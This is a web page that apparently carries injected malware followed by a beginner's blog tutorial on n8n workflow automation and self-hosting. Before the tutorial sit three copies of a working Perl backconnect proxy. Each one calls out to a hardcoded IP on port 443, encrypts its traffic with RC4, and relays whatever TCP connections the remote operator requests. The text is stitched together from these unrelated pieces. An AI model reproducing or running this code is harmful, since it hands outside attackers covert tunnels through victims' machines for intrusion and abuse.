#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.151'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.193'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.167'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Everything You Need to Know About n8n: Building Your First AI Agent via Self-Hosting - ClemxyBlog

Everything You Need to Know About n8n: Building Your First AI Agent via Self-Hosting

Introduction Automation

Learn everything about n8n — from automation basics, APIs, and webhooks to building and self-hosting your first AI-powered automation workflow.

Automation is the backbone of modern digital efficiency. It allows individuals and businesses to eliminate repetitive tasks, connect systems, and boost productivity using software tools or scripts that perform tasks automatically.

For example:

  • Instead of manually sending a welcome email, automation tools can do that every time someone subscribes.

  • A marketer can automatically post new blog updates to social media platforms.
    This is where platforms like n8n become invaluable — enabling you to design and run automations with minimal coding.

Watch the YouTube video below from n8n channel to learn more

Introduction to APIs and Webhooks

Before diving into n8n, it’s important to understand how automation tools communicate — through APIs and webhooks.

  • API (Application Programming Interface):
    Think of an API as a messenger between two applications. It allows one system to request or send data to another — like fetching Twitter posts or sending data to Google Sheets.

  • Endpoints:
    These are specific URLs where APIs listen for requests. For example, https://api.openai.com/v1/chat is an endpoint for OpenAI’s ChatGPT API.

  • API Keys:
    Like a digital password that authenticates your connection to a third-party service.

  • Webhook:
    Unlike APIs that pull data when you ask, webhooks push data automatically when something happens. Example: when a payment succeeds on Stripe, a webhook sends that data instantly to your n8n workflow.

Understanding these two terms (API and webhook) is foundational before building automations.

Watch the YouTube video below from n8n channel to learn more

What is n8n?

n8n (pronounced “n-eight-n”) is an open-source workflow automation tool that allows you to connect apps, APIs, and data together visually — similar to tools like Zapier or Make, but with far more control and flexibility.

It enables you to create automated workflows (or “workflows”) composed of connected “nodes” that represent steps in your process — for example:

Receive data → Process → Send output → Notify user

Unlike proprietary platforms, n8n is open-source and can be self-hosted, meaning you can run it on your own server for free and full control.

Why n8n Over Other Automation Platforms?

  • Open Source: Free to use and customizable.

  • Self-Hosting: You own your data — no vendor lock-in.

  • Flexible Workflows: Handle complex logic, conditions, and loops easily.

  • Supports Custom Code: Integrate your JavaScript or Python logic.

  • AI & API Integrations: Connect directly with AI APIs (OpenAI, HuggingFace, etc.).

  • Community Driven: Regular updates and a vibrant ecosystem.

Introduction to Self-Hosting and Command-Line Setup

To run n8n locally or on your own server, you’ll need two core installations:

  1. Node.js — JavaScript runtime environment

  2. n8n — the automation platform itself

Installing Node.js (via Command Line)

For macOS/Linux:

sudo apt update

sudo apt install nodejs npm

node -v

npm -v

For Windows:
Download and install Node.js from https://nodejs.org

Installing n8n

Once Node.js is ready, install n8n globally:

npm install n8n -g

To start the service:

n8n start

Your local instance will typically run on:
👉 http://localhost:5678

What Are Nodes in n8n?

Nodes are the building blocks of every workflow in n8n.
Each node performs one action — like sending an email, fetching API data, or transforming a dataset.

The Three Categories of Nodes:

  1. Trigger Nodes: Start workflows (e.g., “When a webhook receives data”).

  2. Action Nodes: Perform tasks like sending messages or calling APIs.

  3. Logic Nodes: Handle conditions, loops, or branching logic.

Examples:

  • HTTP Request Node → Calls an API endpoint

  • Webhook Node → Receives data

  • Function Node → Runs custom JavaScript

  • AI Node (OpenAI) → Integrates LLM responses into workflows

Watch the YouTube video below from n8n channel to learn more

How Does n8n Handle Data?

n8n’s internal data structure is JSON-based, allowing nodes to pass structured data seamlessly.
It uses two key concepts:

  1. Items: Each represents one data record processed by a node.

  2. Batches: Collections of multiple items processed together for efficiency.

This design makes n8n extremely flexible — you can transform or map data between APIs effortlessly.

Watch the YouTube video below from n8n channel to learn more

Core Workflow Concepts

  • Trigger: The event that starts the workflow

  • Execution Flow: The path of connected nodes

  • Connections: Arrows that define data flow

  • Expressions: Dynamic values (e.g., use of {{ $json.email }} in nodes)

  • Variables: Temporary placeholders for logic-based workflows

Watch the YouTube video below from n8n channel to learn more

Useful Nodes in n8n

Node TypeDescriptionExample Use
Webhook NodeTriggers on incoming HTTP requestsReceive form submissions
HTTP Request NodeMakes API callsFetch data from external APIs
Function NodeRun custom JS logicProcess or filter data
Google Sheets NodeManage spreadsheet dataAdd new rows automatically
Email NodeSend notificationsSend alerts or confirmations
AI (OpenAI) NodeGenerate AI responsesBuild AI agents or assistants

Watch the YouTube video below from n8n channel to learn more

Error Handling

Automation often involves multiple moving parts — APIs, servers, and logic layers.
n8n provides:

  • Error workflows: Automatically run when a workflow fails

  • Try/Catch nodes: Handle node-specific failures gracefully

  • Execution Logs: View detailed debugging info per run

Watch the YouTube video below from n8n channel to learn more

Debugging

The Execution view in n8n shows you:

  • Which node ran successfully

  • What data was passed between nodes

  • Any failed points or errors returned

You can replay failed executions or test workflows node-by-node before activating them.

Watch the YouTube video below from n8n channel to learn more

Collaboration in n8n

Teams can collaborate via:

  • Version Control (GitHub Integration)

  • Shared Credentials (with permissions)

  • Self-hosted dashboards for multi-user access

  • Environment variables for secure configuration

Watch the YouTube video below from n8n channel to learn more

Conclusion

